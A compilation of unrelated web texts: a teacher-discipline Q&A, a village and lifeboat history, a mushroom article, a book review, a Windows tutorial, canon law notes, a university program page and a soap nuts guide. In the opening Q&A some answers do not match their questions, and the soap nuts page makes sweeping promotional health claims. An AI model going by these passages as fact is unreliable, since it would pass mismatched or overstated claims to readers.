Teachers and principals are allowed to strike a child, either with a paddle, an open hand or in some cases a ruler, in order to punish them. … In fact, according to the Department of Education, each year, hundreds of thousands of students are subjected to corporal punishment.
Is it OK for a teacher to hit a student?
Center for Effective Discipline In 19 states, it's legal for teachers or principals to punish public school students by hitting them repeatedly instead of just giving them detention. … In practice, it's becoming less common for schools to administer corporal punishment — even in states that technically allow it.
India. Corporal punishment is still used on both male and female students in most Indian schools. The Delhi High Court banned its use in Delhi schools in 2000. 17 out of 29 states claim to apply the ban, though enforcement is lax.
Can teachers hug students?
What disqualifies you from being a teacher?
Under California Education Code section 44830.1, you cannot be hired as a teacher if you were convicted of a violent or serious felony. Violent felonies are defined under California Penal Code 667.5(c). These include felonies like those that inflicted great bodily harm, robbery, and some forms of burglary.
Can teachers refuse bathroom?
Generally teachers do not refuse students a trip to the bathroom. You are really only made to ask to demonstrate that you can't exit the classroom without the teacher's permission. Its an authority lesson more than anything else.
How do parents deal with rude teachers?
If you're lost on where to start, try these tips for dealing with difficult teachers and pave the way to school success.Meet the teacher. Have you met your child's teacher face-to-face? … Don't project. … Show up. … Keep emotions at bay. … Create a common ground. … Use humor. … Fill them in. … Keep the teacher out of it.More items…•Dec 24, 2018
Can a student hit a teacher in self defense?
It really depends on the school district's disciplinary procedures, but I can't imagine any school district saying that you can hit a student under any circumstances. In a word, NO. Not even in self defense. … Teachers are allowed to lay hands on a student who is a danger to himself or others.


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The "castle" in the village is a single pele tower that was built by Robert de Shirburn in the 14th century. It is within Castle Farm but can be easily accessed. The castle may have been built by the Shirburn family during the time of Owain Glyndŵr. A French army landed at Angle in 1405 to assist Glyndŵr. Some sources see this as a tower but others see evidence of a moat and another tower and see this ruin as the remains of a castle.
In the nineteenth century it was reported that 388 people lived in the village with the women involved in plaiting straw for bonnets and mats, whilst the men would trawl for oysters when they were in season.
In the same century a large number of forts were constructed around Pembroke Dock and Milford Haven. Three of these are on the coast around Angle, the East Blockhouse Battery, Thorn Island Fort and the Chapel Bay Battery. Their construction was funded as part of advice to Lord Palmerston following a Royal Commission.
The church itself is thought to have been built in the thirteenth century with the tower added in the fifteenth century. The church's grounds also include a number of graves for a Japanese ship that sank locally during the First World War.
The first rescue where the crew received silver medals was in the rescue of 27 (some say 33) people who were on board the 1878-built Loch Shiel which had ran into rocks off Thorn Island. Two lifeboat crew members and the honorary secretary received silver medals. It was said that the lifeboat was unable to reach them but these brave people managed to reach them.
The rescue is particularly noteworthy as it is described as Wales' "Whisky Galore". The Loch Shiel was carrying goods from Scotland to Adelaide and included gunpowder, beer and 7,500 (some say 7,000) cases of Glasgow whisky. Much of this was never recovered. Some of the bottles are still amongst the wreck which are described as "undrinkable", but much of the cargo was only partially recovered by the customs men. It was said that one local drank himself to death on the 100 proof whiskey. In 1999, bottles of beer from the wreck were auctioned for £1000 per bottle.
The next award was a bronze medal awarded to Coxswain James Watkins for rescuing 28 people on the 26 November 1929 from the single-screw steamship Molesley which had been caught by a sudden wind change and a poor decision by its captain. James Watkins went on to be awarded both a silver medal for rescuing 6 people in 1944 from the motor boat Thor and a year later another bronze medal for a difficult rescue of nine people from the steamer Walter L M Russ. (This steamer had been seized from the Germans and sank on the 15 July before it could be renamed the Empire Concourse.)
More recently, Coxswain William John Rees Holmes has been awarded two bronze medals. The first was in 1977 when the tanker Donna Marike was thought to be about to explode and the lifeboat stood by her in December 1976. The second bronze medal was for rescuing three people from the fishing boat Cairnsmore on 1 December 1978.
In 1997 a third coxswain, Jeremy R. Rees, and his crew were awarded another bronze medal for rescuing four people after their motor boat, Dale Princess, was blown onto cliffs on Skomer Island. The rescue was made in gale force winds and stormy seas.
Students study in premium class: two French organisations, Compin Group and the Higher Institute of Design (ISD) in Valenciennes, joined forces to imagine what premium-class interiors of very high-speed trains could look like. The objective was to explore an assortment of scenarios and to pick the best one, as Serge Govindin, product designer with Compin Group, explains.(Train interiors)
Jul 01, 2010; THIS design-school project to produce a new look for premium-class interiors of very high-speed trains (VHST) took nine months...


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Opening note: I want to clarify something before I get started, I simply want to point out that there are several different names for Artist conk and I will be using many of them interchangeably throughout this series. When I reference Ancient Reishi, Ancient Ling zhi, Ganoderma applanatum, or Artist conk I am referring to the same species. Additionally I will be discussing the use of this mushroom in reference to a wild harvested medicine throughout this article. I must advise double checking any wild harvested mushrooms with someone who either is well versed and experienced in mycology or a mycologist prior to ingesting anything made with wild fungus.
The world of fungi is a fascinating and relatively new realm of human exploration. Even with the past 5000+ years of traditional use around the world, we seem to have barely begun to scratch the surface of what the kingdom of fungi seems to have to contribute. To be honest, I feel that much of what the world is today is due to the intervention of fungi (but that is a story for another time). One of the most prominent Medicinal fungi in use today is Ganoderma lucidum, known in China as Ling zhi, and Japan as Reishi, we in the west generally refer to it as Reishi, Red Reishi, or Red Ganoderma, Ganoderma lucidum or even just Ganoderma.
The name Ganoderma, like most all scientific names is a description of the organism itself, with Gano meaning shiny or brilliant and derma in reference to skin. In regard to Ganoderma lucidum this can be translated to "shiny skin shiny" as lucidum is in reference to illumination, glimmering brilliance, or shiny stuff. My topic for discussion in this article, Artist conk (Ganoderma applanatum) is a close cousin to Ganoderma lucidum and a lesser used or even known medicinal fungi found all around the world. Its scientific name Ganoderma applanatum (Ancient ling zhi in china, and Ancient Reishi in Japan) might translate to something like "Flattened shiny skin" as applanatum loosely means flattened.
I would like to point out that there are several different species of Ganoderma (approximately 80) ranging from red, yellow, black, white and so on. While all of them have similar medicinal capacities to degrees, they are relatively different and it may be advantageous to gain a bit of understanding about their idiosyncrasies to more accurately applying them as medicines. So what makes Ganoderma applanatum "ancient" over the other species. Well there are two predominating thoughts as to where this came from. The first is the length of time it has been used in Asian culture versus other species of Reishi, predating the use of Red Reishi. On the other hand it is believed that it is derived from the life span and perceived ancient wisdom this fungi holds, since fruiting bodies can live and continue to live and grow for upwards of 50 years! Regardless of the reason for the name Ancient Reishi, I feel it is aptly applied to this wise old watcher and guardian of the forest.
I began looking into the Ancient Reishi (also known as Artist conk in western cultures) after a year and a half long struggle with my own well-being, to which the native wild Ancient Reishi played what I believe to be a crucial role in my recovery. My experience was unique with this organism, as unlike the herbs I have become accustomed to using over the past several years, I began using Artist conk without much if any preconceived ideas of its medicinal capacity. I knew what it looked like, how to ID it, but never took the time to research it before using it, beyond knowing it was a member of the Reishi family. This gave me an unbiased experience, and allowed me to compare what I denoted within myself to the research that I later began to explore. Before I go into that however I feel a bit of the ecological and physiological elements need to be explored first.
This mushroom has a strong preference to hard wood trees (beech, oak, maple, and occasionally birch, among others). Its prevalence is most common on dead trees but can occasionally be found on living trees. My most common finds are on sickly or dead beech trees, however some of my healthiest finds have been on dead oak, birch and maple. The size of the fruiting body seems to be somewhat dependent on the size of the tree and general health of the forest (go figure…). The upper portion is hard and crusted with a whitish coloring becoming a rust brown during the summer as the fruiting body begins to release its spores. The mushroom is flattened and can protrude outward far from its host (my largest find has been nearly 15" in depth, but they have been known to generate larger fruit) and presents no stem, abutting the host tree directly. The underside is a deep white when growing new tissue, which generally occurs from July-September/October (depending on how the seasons are progressing and the region you live in). The underside bruises a light rust brown when touched and presents a microscopically small pore structure. When bisected the fruit has several layers of tissue; on the underside there is one porous layer per year of growth, each layer is approximately 1/4" in height and a rust brown color similar to its spores, just above that is a felted layer which is generally a similar color to the pores, and finally above those two buffered by the felted tissue below, is the hard upper whitish crust, which can become a rust brown as it is stained by settling spores.
Ecologically speaking Ganoderma applanatum is a white rot fungus of crucial importance for decomposition of wood material to clean and nourish the soil within the forests. It has a strong preference to the lignans that make up some of the structural components of the tree, leaving the cellulose predominantly alone. This is what marks this fungus as producing a white rot, as the lignans produce the brown color, where as the cellulose is more of a white by nature. This is also perhaps where it gets its inner coloration.
Some of the medicinal components may also present a remediation quality on the environments it grows in, especially in regards to infectious bacteria or viruses that may be present within the native animals and plants, or general ecology. Most animals do not consume Artist conk, humans and gorillas are some of the most common, along with the even more common Forked fungus beetles. In fact nearly the entire life cycle of these insects revolves around the Ganoderma species. So consider this, the beetles consume the mushroom and becomes covered in spores in the process, then move on and then become eaten by birds, snakes or other animals, the animals gain a small bit of the medicine from spores settled on the beetle (extracellular constituents mostly), and the components digested and assimilated by the beetle. Additionally, As the fungus grows in a habitat it modulates the presence of micro-organisms within its surrounding environment through secretions produces by the mycelium (thread like body within the host or substrate, which makes up the actual living organism (the fruit we recognize as a mushroom is the reproductive organ..)) in order to create a more comfortable atmosphere for itself and eliminate or reduce competition.
Another ecological consideration that should be made is that fungi are excellent at drawing up polyphenols, other phenolic compounds, a slew of phytochemicals, petrochemicals, heavy metals, and other potentially undesirable components from the environment they live in. "You are what you eat" goes for more than just people.. This is very important for not only cleaning up the ecosystem and maintaining a healthy balance, but also important for the forager who is seeking this valuable medicinal conk. Strong consideration should be made about the location one chooses to forage, especially in regards to fungi as they have been shown to be excellent at breaking down and consuming petroleum and petrochemicals, waste run off, and in general, cleaning up various waste within their surrounding environment. Not all of these compounds are bad per say, in fact some compounds such as polyphenols and other phytochemicals can present therapeutic qualities. Still, caution and careful forethought are advisable.
One last thought to put some consideration into before I move on is that since the fungus is so well adapted to taking up components found withing the growth medium it is found on, this may also presents a slight spectrum for potential alternative constituents to be present as an additional benefit (like the previously mentioned polyphenols). For instance can Artist conk draw betulinic acid from a birch tree? What types of components might it draw from an oak or maple? These are questions that I have yet to gain a clear or complete answer to, however I feel hopeful about the possibilities. If found to be true this line of thinking could not only change the way we consider our growing and harvesting practices (selecting specific conks from select species of tree) but also potentially reduce the occurrence of over harvesting of less ambitious species such as Chaga (to which birch polypore may be a good alternative to) which is very slow to grow, reproduce and seldom regenerates from extensive damage.
I would like to close this part on Ancient Reishi by touching on the sustainability topic. I have heard from many individuals that with most mushrooms you can harvest all if not most all of the fruiting bodies you find, because "the living organism is in the substrate, and it will just grow another fruit…". While this is to a degree true, and I, for a time believed this


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December 2012 – Volume 16, Number 3
Sociocultural Theory in Second Language Education:
|Author:||Merrill Swain, Penny Kinnear, and Linda Steinman (2011)||
|174 pages||9781847693303||$109.95 USD|
In the midst of increasing numbers of new and alternative approaches and theories in the field of second language acquisition, Vygotskyian sociocultural theory (henceforth, VSCT) has firmly established its major role in the field in the last 30 years. However, it is widely perceived that the concepts and constructs of VSCT are not easy to grasp by language teachers, undergraduate and graduate students, and novice researchers in the field of second language education. Sociocultural theory in second language education: An introduction through narratives is an innovative and timely addition to the second language education field which has succeeded in making the key VSCT concepts and constructs very accessible to the reader via use of real narrative stories told by language teachers, students, and researchers in the very field. Using real narratives to elucidate VSCT concepts and constructs has not only proven successful to make them easier to understand in real contexts but also, according to the authors, make those key concepts and constructs 'stick' in our minds.
The book is organized into eight chapters in addition to a brief life story of Vygotsky and an introduction to sociocultural theory and narratives. It also includes a complete bibliography and index at the end of the book. What is strikingly terrific about this publication is the organization of each chapter. Each chapter deals with one or several key concepts of VSCT (e.g., mediation and zone of proximal development (ZPD)) along with a narrative story. The first page of each chapter introduces the title, key SCT tenets related to the target concepts/constructs, setting of the narrative, and key terms in the chapter, which help inform the reader what each chapter is about. Each chapter then opens with a brief introduction followed by a narrative; an explanation of the target concept in the narrative; current controversy of the target concept; key research articles, books and/or book chapters; and questions to explore for research and pedagogy. As stated in the introduction, the authors envisioned the book to be used as a textbook in undergraduate and graduate courses; thus, the organization of each chapter is designed to be teacher friendly.
The overall content of the book is the following. The first chapter introduces the key concept of mediation with a lifestory about the Chinese immigrant Mona. The narrative introduces various material and artifact tools which Mona used to mediate her English learning, becoming an English teacher, and coming to a Canadian university to receive a Ph.D. degree in TESOL.
The second chapter introduces the concept of ZPD with a retrospective narrative by Sarah from the time when she was a fourth-grade student in a French immersion classroom. The narrative illustrates that in and out of the classroom students interact with each other in French to extend the space of ZPD without conscious effort. The authors alternatively interpret ZPD as an activity rather than space which is a more conventional interpretation.
The third chapter deals with the concept languaging which is not original to the VSCT idea; however, according to the authors, it encompasses the VSCT concepts of private speech and collaborative dialogue. Jody, a Chinese-Canadian who tried to retrieve the Chinese terms for directional words (i.e., north, south, east, and west) when asked by a Chinese man at a bus stop, uses private speech to retrieve, organize, and refresh her memory of Chinese directional words. As for collaborative dialogue, Sophie and Rachel, who are fourth-grade French immersion students, successfully recreated a French model dialogue by a dictogloss pair-activity.
The fourth chapter compares and contrasts everyday and scientific concepts with a written narrative by Thaya. He translates a story told by his Sri Lanka friend from Punjabi to English and retells the story. During the process of translation and retelling of the story which was heavily culturally embedded, Thaya and his classmates tried to interweave both everyday and scientific concepts.
The fifth chapter introduces interrelatedness of emotion and cognition by using an oral narrative by Grace who does not identify herself with either Greek or Canadian. Her undefined identity is strongly based on her self-perceived language abilities in Greek and English as well as cultural differences. Grace's narrative explicates how emotion towards languages and cultures affects her cognition which, in this case, refers to her language abilities.
The sixth chapter deals with activity theory accompanied by Sandra's narrative of a teacher dilemma. Her dilemma as a teacher is a power relationship between teacher and student; she struggles with what she learned in her critical pedagogy course and her students' expectations of her as a teacher.
The penultimate chapter presents how language assessment is viewed in VSCT's lens vis-á-vis traditional (psychometric-based) assessments. A narrative is told by an adult ESL student Yang who experienced two different formats of oral English tests: interacting with an examiner and interacting with another ESL student. The narrative clearly elucidates that assessment entails both social and cultural activities. This chapter also deals with one of the popular language assessment methods proposed by the sociocultural theory, dynamic assessment.
The last chapter contains narratives that are intentionally stripped of explanations by the authors; they are provided for the reader to consider and possibly discuss any of the VSCT concepts/constructs discussed in this book. The first narrative is written by Maria, an ESL teacher, who plans her lesson through discussions with her co-worker. The second narrative is written by Jean-Paul, another ESL teacher, who tells his experience in the virtual world of Second Life.
Overall, the book demonstrates the authors' superb skills in extracting the key concepts of VSCT from real life stories and explicating them in an accessible manner for the general public. It also shows the authors' extensive knowledge of VSCT across disciplines, as the list of further reading in each chapter comes not only from the field of second language education but also from the various fields such as science education, psychology, and educational research. The only weakness is that the book may not be suitable as a main textbook for an undergraduate/graduate SCT course, since it is organized based on the individual key concepts. Nevertheless, the book is a perfect fit as supplementary material for introductory SCT courses.
School of Languages and Cultures, Purdue University
|© Copyright rests with authors. Please cite TESL-EJ appropriately.Editor's Note: The HTML version contains no page numbers. Please use the PDF version of this article for citations.|


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For Seniors: Start a Windows Program on a Laptop
Before you can use a Windows program on your laptop, you have to start it (launch the program). Windows provides several ways to start programs; choose the method you like best.
To start a program using the Start menu, choose Start→All Programs.
The All Programs list appears; click a folder to open it (if needed), then click the program name to start that program.
If you used the program recently and saved a document, choose it from the list of recently used programs displayed when you first open the Start menu. Then click a document created in that program from the list that displays.
To start a program from the desktop, double-click that program's shortcut icon.
The program launches.
To add a program as a desktop shortcut, right-click the program name in the Windows Start menu and choose Send To→Desktop (Create Shortcut) from the menu that appears.
To start a program from the taskbar, click its icon in the Frequently Launched Program area.
The program opens.
The taskbar should display by default; if it doesn't, press the Windows key (on your keyboard) to display it.


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|Coordinate Reference Systems|
Coordinate systems are used to accurately identify locations on the Earth's surface, and are one of the fundamental building blocks that make modern Geographic Information Systems possible. Many of the links below refer to our 2009 publication, Wisconsin Coordinate Reference Systems. This 119-page publication is a revision of the Wisconsin Coordinate Systems handbook published by the SCO in 1995. The new handbook contains expanded information on coordinate reference systems commonly used in Wisconsin.
|Last Updated on July 30, 2012|


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Send Your Name to Mars
For all those who submitted your names, Congratulations! Your name was successfully etched onto a microchip and is officially on Mars!
How did NASA collect the names? More than 1.2 million names were submitted on our web site over a one year period! Some 20,000 visitors to NASA's Jet Propulsion Laboratory, Pasadena, Calif., and NASA's Kennedy Space Center, Cape Canaveral, Fla., wrote their names on pages that were scanned and reproduced at microscopic scale onto two chips the size of a dime.
How were the chips made? Engineers etched the names onto a silicon wafer or microchip. They used an electron beam "E-beam" machine at JPL that specializes in etching very tiny features (less than 1 micron, or less than the width of a human hair!). They normally use this machine to make high-precision microdevices in JPL's Microdevices Laboratory.
Leonardo da Vinci's Codex on Bird Flight, a document from about 1505 was reproduced on a microscopic scale and fastened to the chip on Curiosity. Leonardo's self-portrait is also on the rover, along with some essays, drawings, and other submissions from finalists and semi-finalists who participated in the "Send Your Name to Mars" rover naming contest opportunity.


Left to right: The newest Compact machine next to the Vortex + and the Vortex
The Vernacare Compact provides quick, safe and effective disposal of Vernacare single-use containers and patient waste, at the point of care.
The Compact is a new addition to Vernacare's industry-leading range of disposal units, which include the Vortex+ and Vortex models. All units in the range feature Vernacare's SmartFlowTM technology. This unique maceration system keeps drains flowing by ensuring that miniscule waste particles are only flushed to drain once maximum water dispersion has been achieved.
"The new Compact is small in size, but big on impact," said Matt Miller, CEO of Vernacare. "It advances patient and staff dignity and improves infection prevention by making it possible to dispose of Vernacare single-use containers and patient waste hygienically at the point of care, thereby containing any infection risk. By localising care in this way, clinicians can use their time more productively.
"The new technology has been designed and developed by our R&D team, who have decades of experience of creating innovative new medical products to prevent and control cross infection. We are particularly grateful for the input of many clinicians and health professionals during the design and development process."
This space-efficient Compact is the smallest disposal unit on the market and can be located closer to patients if needed, such as in patient bathrooms, isolation rooms, specialist areas like radiology, x-ray, chemotherapy and theatre recovery, or long term care settings. This means the need to carry human waste to a sluice or 'dirty' utility area is removed, thus reducing the risk of spreading infection and saving clinicians' valuable time.
The Compact can be wall-mounted to save floor space, built into an existing area for a flush finish, or placed on the floor on top of a stainless steel plinth.
The Compact is operated entirely hands-free via an ultrasonic foot sensor and starts automatically when the lid closes, ensuring swift and hygienic disposal of each Vernacare single-use container immediately after patient use.
Vernacare is the only company worldwide to manufacture a complete system for delivering hygienic patient care incorporating single-use containers and disposal units, and has been the global market leader for more than 50 years.
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obliged to the impossible. The section was in the prior code -1321 and this is basically the same, however, there is one innovation: 1200.2 that an oath by deceit, force or grave fear is invalid de jure.
Canon 1191 1) Vow is a deliberate free promise to God concerning something good and possible - virtue of religion requires its fulfillment. 2) Unless prohibited by law, all can make a vow. 3) Grave or unjust fear or deceit invalidates vows. It should be possible, a good and not something already obliged. Contract with God, so you need the liberty required to contract. Some vows require a higher degree of consciousness and freedom than others. Canon 97 under 7 can't make a vow, also 11 the code only applies to those over the age of 7. E.g. 18 years for temporary profession, 21 years for final profession, Canon 656, 658. Invalidating fear should be external, not just a doubt. There should be a causal link between the fear and the vow. Ignorance and error are not mentioned, but Canon 126 says error invalidates an act. Examples, religious vows, deaconate vow of chastity.
Canon 1192 1) Public vow is accepted by lawful Superior in the name of the Church - otherwise it is private. 2) Vows are solemn if so recognized by the church - otherwise simple; in the 1917 code, contravention of solemn vows is invalid, of simple vows is illicit. 3) A personal vow promises an action; a real vow promises a thing, e.g. money, mixed if both. 'Jurisdiction' is not required to receive vows; they just officialize it without placing an act. The vow is coram deo; coram ecclesiam - before God may be private - but coram ecclesiam is a public vow.
Canon 1193 Obligation A vow obliges only the one that makes it. In the 1917 code, 1310.2 a material vow could bind successors.
Canon 1194 Vow ceases Ceases by laps of time; substantial change in matter promised; cessation of condition or purpose; dispensation; or by commutation.
Canon 1195 Person with power over vow can suspend the obligation if fulfillment would affect the person adversely.
Canon 1196 Dispensation Pope, bishop, religious superior and those whom they delegate can dispense private vows.
Canon 1197 Commutation The person who made the vow can change to something equal or greater. The dispensing authorities can commute.
Canon 1198 Religious Profession Religious profession suspends prior vows. 1917 Code had irritatio 1312 - an annulment of the vow, commanded by one with dominative power is invalidated when the person looses dominative power.
Chapter II: Oaths
English Latin
Canon 1199 Defined An oath is an invocation of God to witness to the truth of the matter. It can also be an oath of fidelity. It cannot be taken by a proxy. Oath that you are baptized in Canon 876. Oath of loyalty or fidelity - e.g. the one required in Canons 380, 471 the promise is a manner of vow. Canon 1368 - provides just punishment for perjury. It excludes lies, but the code doesn't mention full truth. What isn't in the oath isn't promised. Oath should not be used in passing, but in veritate, judicio and justicia. cf. Jeremiah. Swearing on the gospel is customary.
Canon 1200 Promissory Oath An oath to do something. It is not valid if extorted by deceit, force or grave fear. If you swear secrecy, and the secret is revealed, then you are no longer bound.
Canon 1201 1) Oath of the bishop 2) Oath of good administration 1283.1; 3) Oath of Judges 1454, 1455; 4) Oath of parties in a trial 1532 witnesses 1563 translators; baptism 876, confirmation 894; in danger of death, you can swear you are free to marry; Ad tuendem fidem - Starting with the professio fidei 1998, the oath of fidelity to be sworn by all 833. 5-8. There is an addition to 750.2 and a punishment, 1371.2. This protects non-revealed truths, but related philosophically or historically. Retired infallible truths, or truths second class (Ferme). It is a much tighter control issue. These are not elements for validity - e.g. teaching invalidly. This could be extended, but it would have to be in particular law.
Canon 1202 Cessation
Part III: Sacred Places and Times
Title I: Sacred Places
English Latin (Canon 1205 - 1243)
Canon 1205 Definition Sacred places are those for divine worship or burial by a dedication or blessing. In the beginning, there were no sacred places, but people worshiped in private homes. In the second century, there developed a richer group of Christians who handed over spaces to be dedicated principally for rituals. In the third century, buildings were dedicated exclusively to churches, Domus Dei - Diocletian ordered their destruction. Also profane buildings were converted to religious purposes, e.g. Pantheon, after 313. Martyrs relics were introduced into altars. At the same time private oratories were introduced in houses of the rich and powerful. At this point there came legislation on the use of sacred spaces. The names of churches were 'ecclesia' - which means gathering. Slowly the term moved from the gathering of the people, to the place where they gathered - even in the early fathers like Cyprian. Dominicum was also used - the House of the Lord. Kuriacom - from the Greek goes to kerk. Basilica was originally a court building, after 313, it was used for Christian churches with martyrs - also due to the importance and size of the building. Templum (also Synagogue) were not used in the first three centuries by Christians for their churches because of confusion with the Jews. Oratorium (Chapel) was a place of prayer, but the meaning was restricted to private chapels. Capella (7th Century) from the St. Martin of Tours' cappa; in the 12th Century, this was applied to any non-parish place of worship. Sanctuarium is a place for holy things; originally it was the holiest place of the church; now it is a place of pilgrimage. Currently: temple is a generally for holy places, church large, chapel small, oratorio room in a building. In the 1917 code there were only Churches for all, and oratories for sertain groups: public (religious communities, hospitals, open to all christian faithful, etc.), semi-public like public, but not open to public, and private in a home for just the residents. Now we have church, oratoria, private oratory and sanctuary. Duridical elements: The holy place and the blessing. Directly from Roman Law. Exsacration is the withdrawing of blessing. Dedication is forever, Benediction is temporary.
Canon 1206 Minister Diocesan bishop or equivalent can dedicate - that can delegate, even to a priest. Only in their territory. Diocesan Administrator can do it too.
Canon 1207 Blessing Blessing of sacred places is for the ordinary, but diocesan bishop is required for a church. This also depends on liturgical norms - e.g. for a church there must be an altar.
Canon 1208 Record A record should be made and one copy in the church and one in the diocese. Perhaps it would be better in the place for which it was dedicated, e.g. religious order.
Canon 1209 Proof Proof can be by one witness who is above suspicion if no harm comes. It restricts the rights to use the place for other purposes. Also 1376 may make the profaner a subject to penalty. In that case there may be harm..
Canon 1210 Non Profane Acts The sacred place is only for worship, piety and religion, or things in harmony with the holiness of the place. Ordinary can permit in individual cases - theoretically each time. What about receptions after mass? Originally the rule was for commercial or political activities.
Canon 1211 Violation Sacred places are violated by acts gravely injurious and give scandal to the faithful. This can't be used for worship till the harm is repaired by penitential rite prescribed for this. The old code had specific norms (murder, injustice with noticeable bloodshed, impure or disrespectful actions, funeral of a nonbeliever or excommunicate if sure, proven, public, in the church), but now it's up to the ordinary. Elements are: 1) grave, injurious act; 2) scandal; 3) perpetrated in the sacred place.
Canon 1212 Exsacration Sacred places lose their dedication or blessing when they are 1) in large measure destroyed; or 2) made over to secular usage, either be decree or in fact. Renovation doesn't do this as long as the new structure isn't double or more than the old. Oratories and chapels are to be blessed (c. 1229). Once an oratory or chapel has been blessed, it is appropriate that it be relegated to profane use by decree of the competent authority. The decree releg


Students apply to the Ph.D. in Population Health through one of the named options:
Graduate School Resources
Program Resources
Minimum Graduate School Requirements
Major Requirements
Minimum Credit Requirement 51 credits
Minimum Residence Credit Requirement 39 credits
Other Grade Requirements See Named Options for policy information.
Assessments and Examinations Full-time students have up until the end of their third year to pass the qualifying exam and their first sitting must occur no later than the end of their second year. Part-time students are expected to pass the exam before the end of their fourth year (regardless of whether the student is continuously enrolled) and their first sitting must occur no later than the end of their third year.
Language Requirements No language requirements.
Required Courses
Select a Named Option for courses required.
Named Options
A named option is a formally documented sub-major within an academic major program. Named options appear on the transcript with degree conferral. Students pursuing the Ph.D in Population Health must select one of the following named options:
Graduate School Resources
 1. Articulate research problems, potentials, and limits with respect to theory, knowledge, and practice of Population Health, based on understanding of its health services, health assessment, microeconomic, biostatistical and epidemiologic foundations.
 2. Assemble, evaluate and synthesize evidence from literature and data sources to formulate ideas, concepts, designs, and/or techniques beyond the current boundaries of knowledge within Population Health.
 3. Demonstrate breadth of knowledge of Population Health in its subject matter, historical and social context.
 4. Create research that makes a substantive contribution to the knowledge base of Population Health.
 5. Develop mastery of scholarship in Population Health relevant to academia, for-profit and non-profit organization and/or government.
 6. Communicate complex ideas both in writing and orally in a clear and understandable manner.
Faculty: Professors Durkin (chair), Cruickshanks, Gangnon, Kanarek, Mullahy, Oliver, Patz, Remington, M. Smith, Trentham-Dietz; Associate Professors Astor, Bautista, Burns, Ehrenthal, Engelman, Johnson, Malecki, Peppard, Sethi; Assistant Professors Cochran, Green, Lindberg, Myerson, Ouayogode, Pillai, Warren-Andersen


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5 soap nut shells or equivalent pieces, about a half-ounce, in cotton or muslin drawstring bag and tie bag securely. (we us a double knot) Toss in washing machine before you add your clothes. Remove from washer at end of the wash to dry (leave soap nuts in bag). Re-use 3 to 7 times. (you will get more uses from warm-water wash, and less uses with hot-water wash, as soap nuts release more saponin the hotter the water that you use.) The soap nuts are no longer effective when they become thin, mushy and very light tan or gray. If you are in doubt, simply run the bag under some warm/hot tap water to moisten the nuts. Squeeze the bag with your hand several times, and you will see a light sudsing.
Cold Water Wash:
Simply make a cup of soap nut 'tea' by soaking 4 or 5 bagged soap nuts in a cup of very hot water for approximately 3 minutes. Pour both the soap nuts liquid and bag in wash. Remove from washer at end of the wash to dry (leave soap nuts in bag). Re-use 3 to 7 times. (again, you will get more uses from warm-water wash, and less uses with hot-water wash, as soap nuts release more saponin the hotter the water that you use.) Again, the soap nuts are no longer effective when they become thin, turn soft, mushy and very light tan or gray.
Add about 2 Tablespoons of soap nuts liquid (below) to wash water and stir, or make a tea with your soap nut muslin bag. Hand wash as usual.
Powdered: Put 2 - 3 tsp soap nuts powder in wash water. Wash as usual.
Important points about Soap Nuts:
- Effectively clean laundry - leaving it softer and fresher that you may have ever experienced
- Anti-microbial properties. Removes microbes from laundry
- Natural anti-fungal properties
- Hypoallergenic. Most allergic reactions to detergents are due to the chemicals and fragrances in them. - Soap Nuts are great for removing odors!
- Mild and gentle on fabric structure and colors
- Low sudsing: Good for all washers. Excellent for high efficiency (HE) washers
- Eliminates the need for fabric softeners
- 100% biodegradable
- No animal testing
- Requires no manufacturing processes. No chemicals or fossil fuels needed to produce Soap Nuts
- A primary product from a sustainable source
- Does not pollute our water systems
- Good for septic and grey water systems
- Environmentally safe
- Natural product with basically an endless shelf life
- Since Soap Nuts are primarily a resource from only emerging nations, increased demand will provide an additional needed economic stimulus, plus it will encourage increased planting, growth and farming.
- Virtually un-tapped potential for eliminating most harmful chemicals from the market and from our homes!
Making Soap Nuts into Powder or Liquid:
Not only are powdered and liquid forms nice for laundry, but the list of other chemical products that can be replaced by soap nuts is long and getting longer every day.
POWDER: Place soap nuts in a blender or coffee grinder. Grind to a very fine powder for laundry. (coffee grinders tend to grind the finest powder - this may require a couple grindings, removing the un-ground pieces and grinding again) You may also want to make a courser, more abrasive grind for scouring and scrubbing needs. Store in an airtight container. Shelf life is indefinite as long as the soap nut powder is stored in a cool dry place.
LIQUID: Place 12 to 15 soapnuts (about 1.5 ounces) in about 6 cups of water. For best results, bring to a boil and simmer for about an hour. You will know that you have fully extracted from the soap nuts when they turn very light tan or gray and are mushy. Allow to cool and strain. The ratio of soap nuts to water, plus 'cooking' time will affect the liquid's concentration and potency. Experiment until desired results are acquired. There is no wrong way of cooking them into a liquid. Liquids will vary accordingly. Store the soap nuts liquid in an airtight glass jar. As with other botanicals, the infused soap nut solution is best stored in a cool place away from direct sunlight. This 100% pure soap nut solution has absolutely no preservative of any kind so it will have a limited shelf life of several days. It should be refrigerated to extend its shelf life. This is typical of virtually all water-based botanical solutions. We also offer Extreme 18X Soap Nuts, which is a soap nut liquid with specific natural preservatives that greatly extend the shelf life, yet are still safe and chemical free. For the make-at-home solution, simply don't make more than you'll use in a few days.
- Soap nuts will last longer using warm vs. hot water.
- Soft water may require less soap nuts. Very hard water may require more.
- There is no need for fabric softener. Soap nuts leave your cloths soft.
- Soap nuts have a distinct odor, similar to vinegar when they are dry and more pungent when wet. Soap nuts do not smell pleasant; but amazingly your clothes smell clean and fresh after washing with soap nuts.
- If you like scent, you can add 10 drops of essential oil on the cotton bag before tossing it into the machine.
- Soap nuts will not remove heavy stains - as with any detergent, pre-treat stains with a stain remover as you normally would.(we have found soaking stains in a soap-nuts bath works wonders!)
- If clothes are very dirty, do half size loads instead of full.
- If you like super whites, you can add oxygen bleach to the load.
- Soap nuts perform better in a less than full load. (though we tend to load our machine!)
- There will be very little suds. No suds actually means no commercial foaming agents or chemicals.
- Soap nuts are wonderful for washing cloth diapers. Unlike chemical detergents, they will not clog the fabric causing the diaper to loose its absorbency and they will not cause diaper rash. In addition, soap nuts will clean and remove detergent residue from diapers.
Soap nuts chemical-free cleaning solutions
Rid your home and life of toxins! Many common household cleaners can be replaced entirely with the use of soap nuts. Saponin's inherent effective cleaning power, anti-microbial and anti-fungal properties, odor-reducing capability, and natural gentleness combine to provide an amazingly safe yet effective cleanser for a multitude of everyday uses. Incredibly, the vast majority of highly toxic synthetic chemicals in our homes can be thrown away forever.
Certainly we've all heard the alarms of 'bio-hazard' in our head when we reached in to pull out our arsenal of cleaning solutions. Interestingly, it is quite difficult to find an image of cleaning products without rubber gloves in the picture. That is certainly a good thing. If it were not for gloves our hands would be a scary site! Household chemical cleaners can be both horribly damaging to our skin and highly toxic to our body. Soap nuts offer a chemical free cleaning solution.
